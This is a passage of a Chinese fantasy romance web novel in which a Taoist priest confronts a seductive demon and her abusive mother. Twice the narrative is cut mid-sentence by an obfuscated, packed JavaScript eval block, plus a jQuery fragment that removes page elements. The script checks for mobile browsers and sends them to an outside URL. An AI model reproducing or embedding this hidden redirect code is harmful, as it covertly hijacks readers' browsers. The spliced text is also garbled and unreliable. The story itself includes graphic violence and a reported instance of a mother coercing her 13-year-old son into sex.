他没有说话,但那双漆黑的目光却在告诉她他的挽留。 王五正要上前,这回柳心却拦住了他,俯身盯着道士看了许久,眼中带着困惑,“我认识你吗?” 长垣没有回答她的问题,微皱着眉头道,“别去。” “你这臭道士,你算哪根葱啊,老子今天打死……” “赵公子,别和他一般见识,我们上楼玩儿去。” 柳心将他拽着的袍角撕开来,和赵王等人上了楼。 长垣捏着那一片袍角半跪在地上,擦了擦口中血迹,继而扶着栏杆一步一步走了上去。不能放纵这妖女在梦里也要害人。 楼上门内传来更加放纵的笑声,渐渐停止,一股奇异的香味弥漫出来。他猛地推开门,赵三等人东倒西歪地躺在床上,王五被柳心揽着,唇息相近,看似亲昵,他知道她正在吸他的精气。 “姑娘,回头是岸。” 他拉开了王五,站在了他们之间,柳心冷冷看他一眼,极为不悦,“道长,在我的地盘管我的事,挨打还没挨够么?” 她好容易骗来这几个蠢货,还没吸半个就被这道士打扰。这人是吃饱了没事干么? “他们都是有妻子儿女的人,放过他们吧。” “放过他们?道长搞搞清楚,不是我不放过他们,是他们主动缠上我来,对我有所图谋,可不是我逼着他们。鸟雀无利不聚,道长这么三番两次出风头管闲事,莫非也是如此?” 她下巴微抬,指尖从他脸上划过,似笑非笑地看着他。 很快她便发现,魅术对他没有作用。来人是个硬茬…… 她失了兴趣,请他出门,“我们现在要行男女之欢了,道长若想加入就一同留下来吧。” 她说着作势要去脱外面的衣服,白皙的肩头半裸,从背后的角度看去,隐约可见山陵弯曲,原是想吓退这一本正经的的道士,却没想他并不羞涩惊恐,定定地站在那里,眼神如水般平静,将水下翻滚巨浪一一掩藏于身下。 她已完全褪去了外衣,只剩一件围肚,一条长裙,转过身来诧异地望着他,有些烦躁。继而她嘲弄地笑了笑,朝他走了过来,柔软的手轻轻捏在长垣道袍下紧实的肌肉上,芳香环绕,粉红的嘴唇逐渐靠近,他向后退了一步,推开了她。 “姑娘还请自重。” 柳心挑眉看他,“道长赖在这里不走,还看了我脱衣服,现在却要我自重,我们之间到底谁更不自重?” “这也不行那也不行,道长究竟要如何?” 她翘起二郎腿坐在了凳子上。长垣目光移向了后面那些人,“放他们走。” 柳心嗤笑一声,“原来是想吃独食啊,好,既然有道长作陪,我放他们走。” “小红,把各位公子送回去。” 小红闻言走了进来,一手扛着两个人将他们送了出去。 残余的酒气在空中游荡,道士仍旧站在那里目光看着走远的众人,不知何时,柳心像一条没有骨头的蛇靠在了他身上,“他们都走了,道长……” 她的手搭在了他胸前,正要剥他衣裳,他却抓住了她的手,语气冷了下来。“姑娘好好休息吧,长垣告退。” 17. 偷吃 窗外的雨还在下着,声音渐渐变大,忽而一声雷鸣,他惊醒过来。 屋内的熏香掺杂了些奇怪的味道,是迷香。 心中隐隐有不好的预感,他眉头紧锁,穿上鞋推开门,走到了后院,风雨之下,女子衣袍带着泥点,将四五个男人扔在了树下,精气源源不断地进入她体内,末了,她手上一动,树叶便化作紫蝶团团将众人围住,变化之间,那些肉身便化作几具白骨,散落在树叶之间。 一道金光朝她袭去,她转过头来,中了一击,电光火石间,一记符咒嵌入了她手心。 柳心险些被打得吐出精气来,她抚着胸口看着长垣,凶光毕露。这道士……既然看到了,就留不得活口了。 她运气正要杀他,却发现招式到掌心使不出来,她低头看去,一道莫名其妙的符咒正闪着光,她怒道,“臭和尚!什么东西!” 长垣打着伞悠悠朝她走了过来,“我是道士,这是给你的禁制,不可害人,不可动使魅术蛊惑人。” 他停在她身前,伞缘只堪堪到她半颗头,滴滴答答地淌着水落在她肩上。她愤怒地抬起手要打他,他却轻而易举地抓住她,“更深露重,回去歇息吧。” 他转过身对着那棵树不知念着什么咒语,柳心回转身,愤愤离去。 本以为他待几日就要走,没想这道士竟是一连续住了小半个月。每有客人经过他就要上前规劝念经,或是不知从哪里找到那人的家人,上门来将她这里搅得鸡犬不宁。更重要的是,她的禁制始终破不开,根本吸收不了精气。 门庭冷落,她亲自出门招揽客人。 望了许久不见人来,素日喜爱的阴雨也让她心情烦躁,打了烊进门来,一个男孩儿和长垣坐在前院正在写字,见了她笑道,“阿…娘,你看道长教我写的字,好不好看?” 柳心并未像往常一样夸赞他,而是恨恨剜了长垣一眼,收了伞径直往后院去。 柳言莫名看了长垣一眼,“她怎么了?” 长垣摸了摸他脑袋,“写下一个字吧……” 酒楼正上三层,两层是客房,后院是他们自己的住处。为方便招揽客人,她对外宣称柳言是她的儿子,带着婆母开一个酒馆过活。 她朝着母亲居住的房间走去,屋子里只有一盏昏暗的灯,几乎看不清人脸,只能看到一个人影坐在镜前,镜子里也是模糊的。 柳无静见她来了,显得有些急迫,“这次怎么要这么久!” 她低下头没去看她的面孔,只是坐到她背后,将体内的精气输送至她体内。淡淡的紫光萦绕着二人,照亮那女人的面庞。 她本是全白的头发逐渐变作黑色,褶皱的皮肤也渐渐细嫩,一条纹路也没有,与柳心的那张脸颇为相似。 只是这光很快消失,热流中断,柳心扶着桌角重重喘息着,脸色苍白了几分。 柳无静手指一动,灯盏忽而亮了起来,她拿下面前的镜子细细打量着,还算满意,只是略过头发时顿了顿——她的头发,只有一半是黑色,另一半则是白色,颇为怪异。 她手指在镜子前摩挲着,“阿心,你看看我的头发。” 柳心抬起了头,柳无静道,“怎么会这样呢?” “这几日来的客人少,所以精气不够……” 猛然一个巴掌甩了过来,她鬓发掉出一缕,脸侧和嘴角火辣辣地肿胀起来。 柳无静冷笑,“怎么会不够?你可是魅妖,只要你想,成千上万的男人都会乖乖排着队送上门来,除非是你懒!” 她拧着她的耳朵,厉声道,“你厌烦了是不是?你巴不得我去死,这样就不用天天劳你费神费心,分你的功力,你早就嫌弃我这个半妖半怪的东西。可是你也不想想,是谁把你生出来,是谁因为你们失去了魅妖最重要的美貌!早知如此,我就不该生下你们,到头来反被你嫌弃……” 柳无静说着,流下泪来。 “阿娘,不是这样的,我没有。”柳心眼眶通红,辩解道,“阿娘你别着急,再给我两天,店里来了个道士,现在有些麻烦,等我把他赶走就好了,两天之后我肯定给您足够的精气。” “道士?”柳无静眼中闪过一道狠厉,她又换回了温柔的笑容,“傻孩子,道士有什么麻烦的,无论修的什么道,他也是男人,是男人就都逃不了女人的诱惑。阿娘从小教过你的,你将他的心拿到了,还不是由你为所欲为……” 柳心点点头,“我知道了,阿娘放心吧。” 柳无静欣慰地拍了拍她的肩膀,“去吧,阿娘知道你一直很聪明。” 柳心从柳无静处走了出来,心中却有些沉闷。廊上的鸳鸯藤被打落在地上,堕入泥中,她踩了上去,看着原本洁白的花朵顿失颜色,左一块右一块,像断翅的蝴蝶。 越是脆弱越是让人想破坏,这是世间多数人的天性。 指骨分明的手贴近了她朱红的鞋面,却是将面前的落花捡起。 她下意识转过身去,却忘了那红肿的半张脸正朝向他。她有些恼怒正要开口,他长袖一拂,她便恢复了先前的样貌。 她心中却更生气了,“谁许你到这儿来的?” “阿言有些咳喘,许是风寒,煮金银花水可以驱寒。” 她非但没感谢,反而重重从他身边撞了过去,“狗拿耗子,多管闲事。” 长垣手里的花儿被她撞落在地,他望着她远去的背影,好脾气地蹲下身来又一点点将它们捡进了口袋里。 他缓缓起身,目光落在了走廊尽头的那道门里,似乎有什么东西一闪而过,带着浓重的某种气息。他迈开步子走了过去。 “道长,你要的花捡好了么?” 柳言从月亮门里走了出来,他顿住了脚步,回头朝他走了去,“差不多了。” 柳言道,“那我们快走吧,我阿娘生气了,不让我带你进后院。” “那走吧。”长垣笑了笑,将一袋子花束紧口袋。 半月挂在枝头,只闻虫鸣鸟飞的时刻,柳心关上酒馆的门走了出来。她的目的地是前面二十里的一条路,离开长垣这么远,一则或许禁制的约束力减弱,二则她也可以随心行动。 这条路是过往旅客的必经之地,商人、书生、镖局、走亲戚的富家公子,都会从这里经过。 她在这里守了半个时辰,终于见到一辆马车驶过。她目光一转,那车轮便脱落松动,马车猛然向一边倒去,里面咚的一声。 马夫担忧地回过头,“公子,车轮坏了,您没事吧?” “没事,只是烛火烫到了,我们停下暂作歇息吧。” 柳心穿着一件灰色的衣裳,簪一只鹅黄海棠,端着碗盏漆盘从暗处走了出来。 麻马夫眼前晃过一个人影,警惕地拔出了刀,“谁!” 一个穿着普通的女子走了出来,似乎也被他吓了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她在这里吃了不知多少人,我不过是替天行……” “啊————” 火焰瞬时变大,妖丹也燃烧起来,他的话被吞没在火海之中。柳心还不忘拉了拉长垣的袍角,“先别烧,我的精气还在他的妖丹……” 长垣那双冰冷的眸子幽幽看来,她识趣地闭上了嘴,尤其是在见到今晚的情景之后,原以为他是个骗钱的道士,没想到是青云山的人。这把火要是烧在她身上…… 她打了个寒噤,长垣很满意她的畏惧。 他蹲下身来,递给了她一张帕子,她不自然地扯出了一个笑容。“多谢道长相救。” “这么晚了来这里做什么?” “洗……洗碗……井水太凉。” 长垣瞥了她一眼,没说什么,对她伸出了手。“回吧。” 她拉住他的手,强忍着腹脏的痛苦试图站起来,吐了一口血。 长垣见状蹲下身来,“上来吧。” 她犹豫着,在他高深莫测的眼神中,还是爬了上去。 宽大的肩膀硌着她有些难受,但也不敢做声。冰冷的手靠在温热的脖子上,她既忌惮,又迷惑。 他对那只魅妖出手干脆利落,亲眼见到她杀人,为什么却不杀她呢? 18. 青云山的人都该死 他们回来的时候天色刚刚转亮,后院静悄悄的,楼上有些响动,他没有在意,径直背着她去了她的房间。 他没有给她疗伤,他得让她知道,心存恶念的代价,这是她必须经受的惩罚。 “打坐时念这个心决,身体恢复得会快一些。” 他丢下一张符纸走了出去。 月光变得稀薄起来,像掺了水的牛奶,雨声渐渐小了,东西碎裂的声音却在寂静中响起。 柳心坐了起来,踉跄着走到屋子里。柳无静披散着花白的头发,面带怒容,将屋里的东西砸得干净。见了她来,一把揪过她的头发,扯到面前,“两天了,你说的两天,怎么还不过来!” 柳心的心口撕裂一般疼痛,妖丹尚未痊愈,一举一动都像有人拿着刀子划她的内脏。她的头也痛了起来,低着头痛苦地道,“阿娘,疼……” 柳无静冷笑一声,“疼?”她拉着她在镜子前跪下,镜子中女人的那张脸布满了血丝,像一块被砸得四分五裂的镜子。头发比之前白得更多了,而且很是毛躁。 “看见了吗?你这点疼比起我的脸算什么?我不管你有什么毛病,马上把灵力给我!” 她脸色苍白,扶着地直起身来,强打起精神将手掌覆在柳无静的背上,用尽全力也只挤出了一点灵力,柳无静却抓住了她,贪婪地吸食着,但很快也什么都吸不到了,柳心喉头一甜,喷出血来。 她体内当真只剩下一丝灵力,护着她残损的心脉。柳无静见状松开了她,嫌弃道,“没用的东西!怎会如此空虚?” 柳心整个身体都空空荡荡,灵脉干涸之后便感到有些灼烧,像蚂蚁啃食着每一寸肌肤,皮肤在一点一点腐烂,刺痛折磨着她的意志。 她的手臂、脸、腿都浮现出紫色的线条,红发生长出来,因虚弱到极致,露出了魅妖的本来面目。 她缓缓看向柳无静,“阿娘没有看到我身上的血么?” 柳无静余光瞥了她一眼,这才注意到她裙摆深红的血迹,不同于刚才的血,她来之前就受了伤。“一点小伤而已,我的脸可是因为你……” “阿娘,不需要这么多灵力也可以活下去的。” 柳无静心头的怒火蹭蹭地冒了出来,“你什么意思?” “明明不会死,只是自然地老去而已,皮囊就这么重要么?”那双紫色的瞳孔定定地看着她,似乎含着晶莹。 柳无静冷笑着捏着她的脸,“若是让你换做我你就不会这么说了。” “我愿意,阿娘想要我这张脸,这具身体尽管拿去好了,只是我太累了。” 柳无静定定看着她,忽而嗤笑出声,“心儿,你现在说出这番话是有恃无恐。你还没有尝过衰老的滋味,更没有尝过悔恨、痛恨……” “我知道……” 柳无静愣了愣,柳心看着她,有些嘲弄,“阿娘的悔恨痛恨就是对我们吧?您生下了我们,失去了灵力和容貌,后悔也来不及了。所以您痛恨我们。” 她的身体在颤抖,眼睛弥漫上了血丝。柳无静心中一颤,接着松下了紧绷的面孔,将柳心揽进了怀里。 “怎么会呢?你不知道,阿娘第一次怀上你的时候是最高兴的时候,那种滋味比言儿出生还要高兴。阿娘从来没见过那么小,那么软的手,你冲着我笑,阿娘想,这辈子为你做什么都愿意。 只是后来出了些意外,阿娘没有能力保护你们,染上了这种怪病……心儿,阿娘从来没有后悔过生下你们,你们就是阿娘最珍贵的东西。” 她一下一下轻抚着柳心的脸,她靠在她膝头,默然落泪。 关于父亲的记忆已经很模糊了,但她记得他是一个人类,他很少过来,每次来母亲和她都很高兴,他会带好吃的糖果,零嘴,漂亮的风筝和娃娃。 母亲那个时候还很温柔,也很漂亮,眼角的细纹并没让她像现在这样暴怒,而是含情地笑着。 后来不知怎么,母亲受了很重的伤回来,她在床上躺了很久,她们躲在漆黑的洞里,不知道是哪里,也不知道时间。久到她的记忆逐渐模糊,好像只是做了一个梦,梦醒来,她就像变了一个人,变成了现在这样。 楼上忽而传来一阵响动,似乎是柳言的声音。她睁开眼,觉得有些奇怪,“阿娘,楼上有客人么?” “是那个道士,不知道在捣鼓些什么,弄了一晚上了。你赶快把他弄走,再不行就杀了他。” 柳心指尖微微颤动,从她膝头起来,后退了一步,“我的灵力被他封住了,他给我下了禁制。” 柳无静拉过她的手心,一朵金色的祥云映入眼帘,她的指甲不知不觉嵌入了手心,柳心吃痛喊了一声。她这才回过神来,“青云山的道士啊,确实不好对付。你这伤也是他做的?” “不,是我碰到了一只魅妖,那道士救了我。” “这么说,他是个好人?” “……”柳心想了想,她也不知道该怎么说,“他和一般的道士不太一样。” 柳无静笑了笑,扶起柳心在身旁坐下,给她倒了一杯茶水,“喝了茶快去睡吧,明日我想办法让他消失。” 柳心点了点头,乖顺地将茶饮尽。 长垣也听到了楼上的响动,起初似乎是男女交合的声音,后来便是一阵惊恐的叫喊,什么东西碎裂开来,他一下就想到了柳心,正要起身便听门轻轻推开,有人走了进来。 柳心持着一盏幽微的烛火,手里端了一碗姜汤走到了他床前。 “道长方才淋了雨,喝了姜汤再睡吧。” 长垣道,“你有没有听到楼上的声音?” “楼上?”柳心似乎有些疑惑,继而笑道,“阿言今日吵着要在楼上睡,他一向好动,还请道长见谅。” 他点了点头,坐起身来,接过了那碗汤。 “道长在青云山修炼,不知师从何人呢?” 长垣道,“一个小弟子罢了,没什么师从。姑娘认得青云山的师长?” 柳心笑了笑,“只是从前去上过香,道长快趁热喝了吧。” “阿娘住手!” 又一个柳心踉跄着冲进了门内,打摔了那碗汤。 她本捧着碗推到了长垣嘴边,忽而桄榔一声,药碗砸碎在地上。长垣拿出了收妖袋将她覆在里面,柳无静瞬时显出原来面目。 她的身上已经出现了紫色的火焰,眼中渗出恨意死死盯着长垣。 “你这贱人!” 柳心跪在了柳无静身前,将她和长垣隔开,“道长,我阿娘病了,神智有些不清楚,你大人大量饶过她吧。” “你这个蠢货,滚开,你求这个贱人,你有什么用!要不是你,我早就一碗毒药送他下黄泉了。” 长垣皱了皱眉道,“柳夫人,我和你有什么仇么?” “仇?你是青云山的人,青云山的道士全都该死!你们这些道士剁成肉酱拿去喂狗都嫌弃那股臭味!” “阿娘……别说了!” 长垣看着柳心,“你害了这么多人就是为了满足她的欲望?愚不可及。” 他淡淡说着,一面加重了金光,火焰瞬时变大,柳无静的肌肤开始溃烂,她痛苦地大叫起来,不停辱骂着长垣。 “道长,你放过我阿娘吧,求求你,你杀了我吧,我替她让你出气。你别杀她!” 柳心拉着长垣的衣袖恳求着,见他不为所动,而柳无静的哀嚎越发凄惨,她咬咬牙,气沉丹田,猛然冲开了束缚在妖丹周围的禁制,爆裂的禁制冲损了妖丹,它皲裂开来,她大汗淋漓,血从口耳鼻中溢出。 魅丝悄然攀上了眼前男子的衣袖,顺着他的心脏欲要钻进,就在这时,长垣却手指一点,截断了那根魅丝。 他甩开她的手,冷冷看向她。“你竟然不惜损毁妖丹破开禁制,就为了救她?” 柳心对他的话充耳不闻,见魅丝操纵无果,她一步一步膝行过去,金光渐渐罩在她半个肩膀上,像刀割般疼痛,她却毫无畏惧,向里面那个满头白发的女人爬了过去。 似乎不知疼痛,她紧紧抱住了她,用身体将紫色的焰火扑灭,让它蔓延到自己身上。滋啦的灼烧声响起,她的紫红头发开始蜷曲,惨白如纸的脸透出诡异的红色。素色的衣裳为赤红浸染,她紧紧护着那女人,长垣莫名有些烦躁。 “她一直在利用你,不杀你只是因为魅妖生下半妖后就失去了自己攫取他人精气的能力,唯有血亲才可以输送灵力。什么母女情深,她不过是拿你当她贮存灵力的容器罢了。” 柳无静恨恨看着他,“你胡说!你这贱人,如此挑拨,别以为我不知道你在想什么。装得道貌岸然,不过跟你那个道士师父一样,想骗这个蠢货对你死心塌地罢了,你这淫夫!犬物!去死吧你!” “阿娘!”柳心几乎制不住她,剧烈的灼烫之后她已经失去了感觉,只觉得整个人昏沉沉轻飘飘的。 长垣闻言想问柳无静到底说的是谁,他心中有一个不可思议的设想,然而瞥见眼前的女子几乎魂飞魄散,他收了收妖袋。 身上的灼热褪去,浑身剧痛,她的手依旧紧紧抱着柳无静。长垣走到她身前,叹了一口气,握住她的手,金光源源不断地送进她体内,然而她却并没有好转,反而更加痛苦。 “你修炼的道术和她相冲,这么做只会让她死得更快。”柳无静冷冷道,口中似乎还带了些许笑意。 “她要死了你很开心?” 柳无静没答,反兴致勃勃问道,“你痛苦么?” “我为什么要痛苦?她是你的女儿。” “你喜欢她,道士动了凡心,破了戒,你会被逐出师门,甚至走火入魔,尸横外野。” “我没有。” “你有。”柳无静狞笑着看着他的眼睛,一动不动,像鹰一般锐利。 “如果没有,你早就闻到了这里的妖气了吧,她杀了好几个人,你却只是守在这里不让她出去。她受了伤,你赶去救她,她要和我一起死,你就舍不得放过了我……还说你不喜欢?” “有又如何,没有又如何?”他淡淡望着她,眼中没什么情绪。 柳无静又这么盯了他一会儿,有些疑惑,“你不喜欢她?” 他没理会这个疯女人奇怪的问题,只是从她怀中拉过柳心,“你体内还有灵力,给她输一些,护住她的心脉。” 柳无静抱臂笑着没动,“不。” 长垣怀中的姑娘微微睁着眼睛,有些疲惫,她紧紧抓着的手颤动了一下,继而松开了柳无静。 长垣心中隐隐有些躁动,“你死不了。” “最后这点灵力给了她,我会变丑的,再也恢复不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056245|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。” 他忍不住拉住她的手,强行要取她的妖丹,“疯子。” “没用的,魅妖之间的灵力传输,你操控不了,杀了我你也没办法。”柳无静笑了起来,看着长垣青黑的脸似乎很高兴。 门骤然推开,柳言神情惊惶地出现在了他们面前,他呆呆地看着自己的母亲和姐姐,脚步沉重地走了过去。 “我来吧。” 他抓起柳心的手,圆润饱满的妖丹周围萦绕着鲜艳的紫红色,迫不及待地踊进伤痕累累的妖丹中,伤口渐渐愈合,柳心的脸恢复了血色,血丝褪去,眼神逐渐清明。 她抽了抽手,“够了,阿言,你年纪小,灵力不足……” 她的目光在触及他那颗莹润饱满的妖丹时顿了顿,他的妖丹……不再是纯正的紫色,而带着点点红荧,格外妖异。 “阿言,你的妖丹何时?” 柳言闻言有些犹豫,又有些害怕,“阿姐,我……我杀了人。” “杀人?为什么?” “我不是故意的,阿娘说我要做男人才可以保护你们,要做男人就要和女人睡觉,她明明开始很高兴,后来不知道为什么,突然就倒在我身上没气了……” 柳心心头一窒,感觉快要呼吸不过来,她的指甲缝里沁出血来,眼神通红地望向了眼前的女人。是她,她的阿娘…… “阿娘,阿言才十三岁。他才十三岁!” 她几乎疯狂起来,紫红的头发全然朱红,指甲乌黑,她拉住了柳无静,“为什么?为什么这么对他?有我一个还不够么,你还要毁了阿言!” 柳无静不闪不避,终于流露出隐藏多年的恨意,“为什么?因为你没用,要不是你寻不到灵力我至于让阿言给我想办法么?一个两个,都是没用的东西!” “既然如此,你杀了我们便是,他还这么小,却要受自己亲生母亲的坑害!” “你以为我不想杀了你们?要不是你们,我的脸不会变成这样,我不会老的这么快,我也更用不着靠你们去勾引人为我输送灵力!这一切都是你们的错!我给了你们美貌,给了你们生命,你们这些只会吸血的蜈蚣,反过头来竟敢指责我!” “柳夫人,魅妖相恋生子,本不会有任何问题。只有与人类生下半妖,才会导致灵力转移,母亲变得和普通人类一样迅速衰老。 这一点你在怀孕之前就知道了吧,你自己选择了和人类相爱,心甘情愿为他失去少年不老的容貌和魅妖之力,现在后悔了。却将责任甩到尚未出世,无法可选的婴孩身上。 乐是你享过了,痛却要你的孩子替你承担,未免太过无耻了吧。”长垣冷笑着看着柳无静,“虎毒不食子,你这样的怪物,早该死了,还在这里叫嚣。” 柳无静抬头冷冷地盯着他,气得浑身发抖,那种怨恨,仿佛透过他在看另一个人,恨不能将他碎尸万段,生吞活剥。 她猛然伸出苍老干枯的魅藤化作刀尖朝长垣心口刺了过去,他正要运气切断,却没想到柳心忽然站了起来,挡在了他面前。 魅藤插进了她心口,妖丹四分五裂迸裂开散落在地,柳无静和长垣都震惊地看着她,她的血液像毒药腐蚀着藤蔓,原本紫红的魅藤迅速干涸,化作漆黑的枯枝。 咕噜咕噜的声音,随着枯萎的魅藤响动,黑色的血一滴一滴落在地上。 或许是与她妖灵相连的魅藤牵动着她的心脏,又或许是浓稠的血液让他不适,柳心静静地站在两人之间,眼神空洞地望着柳无静。 两端的人心脏都隐隐地抽痛,还没来得及说话,柳心顺着魅藤往前走着,像是没有知觉似的,向柳无静靠近,一根藤丝上牵动着两颗心脏,红线逐渐缩短,汗珠和血泪混合着落在藤上,发出滋啦一声,她终于抱住了柳无静。 柳无静怔怔地,伸出了手,正要放在她背上,猛然自己的妖丹被她震碎。地上散落的妖丹萦绕着柳心周围,围成一个火针,瞬时赤黑的焰火包围了他们。柳无静不停地发出惨叫,柳心却只是紧紧地抓住她,闭上了眼睛。 柳言哭着扑进火海中,却都被弹了出来。他拉着长垣的衣袖,“道长,你救救我阿姐吧,道长,求你了——” 魅妖魔化,无心无情,将至天下祸乱,荼害生灵。所以她自愿和柳无静一起在用自己妖丹设置的火阵中消亡。 火光之中,那双赤红的眼睛望了他一眼。他的心猛然抽搐了一下,不知为何,那一瞬间,他想到的是她平日那双灵动的紫水晶一般的瞳孔,是她甩在他面上银河一般的紫缎…… 烈焰熊熊燃烧着,她的心被那根隐隐要断开的魅丝拉扯着,锯子一般磋磨着,可是已经不觉得疼痛了,更多的是痒。 心口那种蚂蚁啃食的感觉更重了,恨不得撕开血肉切掉那圈肉。再用锤子狠狠打上几锤,直到血肉模糊,血液中残余的灵力不再跳动。 她几乎要炸开,指甲深深嵌进了肉里,血像油一样落在周围,火势更旺。就这样快点结束吧,结束了,她就不会这么难受了…… 赤红的热浪中,一身白袍闯入了她眼中,带着冬日的清冽,他朝她伸出了手,她本能地将尖利的指甲伸进了他的胸口,鲜血流了出来,与她的不同,带着刺人的清香,眼前的人没有躲避,仍拉着她的手试图向她靠近。 “柳心……柳心?是我。” 19. 新娘子 我?我是谁?这个人又是谁? 她皱了皱眉,讨厌这股陌生的气息,他口里不知道在说着什么,看得人厌烦,她的眼睛已经有些模糊了,干脆一把掐住了这人的脖颈。 长垣被她钳住喉咙,脸色青紫,入魔的柳心功力大增,他根本无法抵抗,也不想抵抗。 他甘愿做她倾泻的对象。 面前的这人像死人一样乖顺,她有些疑惑,没了兴致,她干脆将指甲伸了进去,血哗哗地流出,总算有了些活的东西,她勾了勾嘴角,渐渐觉得有些香味。 她忍不住凑了过去,含住了他的伤口,香甜的液体进入喉咙,她觉得心口的空虚没那么严重了。目光也逐渐清晰了一些。 她看见了这身衣服,素白宽大的袍子。和他的脖子一样白,是兔子么? 兔子的血没有这么香甜,带着臭味,她闭上眼继续吮吸着,伸出舌头舔了一口。 她的猎物似乎害怕地颤抖了一下,她勾了勾嘴角,下一刻,一只手却落在了她头顶,顺着她光滑的头发,一下一下地抚摸着。 “柳心,是我。我是长垣。” 长……垣? 她在心里念着,嘴上却加快了动作,猎物的血液太过诱人,她还闻到了烤肉的焦香,他的肉一定也很鲜嫩多汁,对,他的肉,喝完了就该吃肉了! 她一口咬在了他的肩上,抵不过渗出的血香,又趴在这里吸食血液起来。猎物的体温越来越低,皮肤没有之前那么软了,他应该是动不了了,她想。 耳边的聒噪声小了许多,头顶的那只爪子也变得行动迟缓起来。她勾了勾嘴角,手心却忽然传来灼烧的剧痛。 什么东西? 她放过那只猎物,低头眯着眼看去,什么东西一闪一闪地冒着金光。她右手持着左手,将它捧到了眼前,一个顺滑的线条勾勒成一朵青云,瘦削轻盈。 她空洞的地方忽而灼烧起来,痛觉又再度席卷而来,她的眼睛渐渐清晰,嗅觉渐渐恢复,清冽的竹香伴随着湿冷的雨水的味道钻入鼻尖,常元……长圆…… 我是长垣…… 她猛然睁开了眼,那张脸逐渐映入眼底。小道士脸色苍白,整件袍子被血色染红,火光之中那双黑色的眼睛深深地望着她。瞳孔中倒映的人脸逐渐清晰,女子的瞳孔逐渐淡了下来,转为一块淡紫的晶魄,盛满了湖水…… 黑色的长甲尚未褪去,她错愕地看着他,像小兽一般斜着脑袋。 又见到那双淡紫的瞳孔,长垣眼中染上了点点笑意,他抬起手摸了摸她的脑袋,将她揽在了怀里。 火势已不可逆转,一道混合着金色与紫色的结界将柳言拦在阵外,火焰渐渐平息,几缕青烟幽幽散开,消逝在尘埃中。 长垣的手指微微颤动,猛然惊醒。窗外飘进来的雨水落在枕头上,指尖残存的温热与现下的冷寂交织,他怔愣了许久。 身后的人打了个喷嚏,转身看着他,“哥哥,你要偷吃糖块吗?” 小姑娘扎着两个小髻,睁着一双大眼睛渴望地看着他,长垣愣了一会才想起来这是他的小妹长好。 他替她盖了盖被子,摸了摸她的头,“不吃糖,哥哥做噩梦了。睡吧。” 长好有些失望,背过身去,“好吧。” 他拍着小妹的背哄她睡着,脑中闪过一些奇怪的画面,不过过了一会儿,却都有些不记得了。 他的心口有些难过,关紧了窗子,爬到床上闭上了眼睛。 是梦吧,真是个奇怪的梦…… 翌日天明,母亲袁氏的咳嗽声将他吵醒,他去厨房想找些药给她煎了吃,却发现并没有草药。简陋的厨房里,隐隐的光从瓦缝里掉下来,冰冰的落在他颈窝里。搬开米缸盖子,里面只剩下浅浅的米,木瓢一挖,发出滋滋的生涩声响。他皱了皱眉,又去鸡窝里翻鸡蛋,只找出一个蛋,还是热的,他用水冲了一个鸡蛋,先给小妹吃了两口。然后端去了袁氏房里。 自他有记忆起,袁氏就一直病怏怏地躺在床上,大姐还没有灶台高的时候就会搬着小板凳像他这样给弟妹和父母做饭。父亲常年在外做工养活一家人,母亲则只好闲时做些针线给村人带去卖,一家五口,日子虽然过得清贫,却也温馨。 他一边给母亲喂着蛋汤,一边注意到了她手边的两块红绸,“是谁家要办喜事了么?” 袁氏和小妹都有些疑惑地看着他,小妹道,“二哥你是睡傻了么?这不是给你娶新娘子用的么?” “新娘子?”长垣的头脑一时有些反应不过来,睡了一觉之后,他好像忘了一些什么事,又感到有些恍惚,好像自己并不属于这个世界。 “是啊,娘把家里最后一袋米给了王婆子让她好不容易找来的,今夜你们就要成婚了,你怎么连这都忘了?” 袁氏也看着他,似乎有些担忧,“你爹不在了,家里现在就你这么一根顶梁柱,娘也是费了好大力气才找到这么个姑娘,一会儿给你爹上柱香,娘起不来身应酬,你和长好一块去接新娘子。” 还没等他反应过来,长好忽而又哭了起来,“娘,大姐呢?她不能回来吗?” 袁氏神色一暗,有些忧愁又有些无奈,“傻孩子,你大姐出嫁才没两天,怎么就回来呢?” “我想大姐了,娘,大姐肯定也想我们,她一个人在那么远的地方,她要是想我们了怎么办?我要大姐回来~” 袁氏眼中隐隐有些泪水,深深呼出一口气,笑着抚摸着女儿的头,“咱们家的粮食已经养不起这么多人了,大姐嫁去的人家有粮食,有钱,她在那儿才吃得饱,你乖乖的,知道吗?” 长好点了点头,又摇了摇头,“那为什么二哥的媳妇到咱们家来就有粮食吃?她来了就吃得饱吗?” 袁氏没答小女儿的话,将手上的两匹红布递给了长垣,长垣微微俯身,一块鲜红的布斜着绑在了他身上,在这个饥荒已久贫困交加的村庄里,这就算是喜服了。 “另一块儿给新娘子做盖头用,你记得亲自去接她,别叫她跑了,知道吗?” 长垣点了点头,心中却五味杂陈。他扛着锄头背着草框正要出去像往常一样做活,长好拦住他,“二哥你干什么去?” “去地里。” “去地里做什么?那地都干成那样了,半个月没下雨了,大伙都在家待着睡觉呢。” 是了,他突然想起来,今年冬天清流县已经半个月没下雨了,种下去的菜都不见长,慢慢干死。大家都靠着去年留下的陈米过日子,日子一天天过去,米缸一天天变空,天却半滴水也不落。他们村还算好的,听说远一些的村子已经开始到卖儿卖女换粮的地步。 在这种时候,袁氏还要给他娶媳妇,这钱显然是从大姐身上拿出来的…… 大姐……他要去找大姐…… “唉唉唉,二哥你去哪儿?新娘子马上就要来了!”长好一把抱住了自家哥哥的大腿。 “我去找大姐,她嫁给谁了?” “不行,你明天再去吧,娘可是花了一袋大米给你带回来的人,你不能走,她万一跑了怎么办?” “跑?”长垣皱了眉,“她是被你们买来的?不是自愿的?” 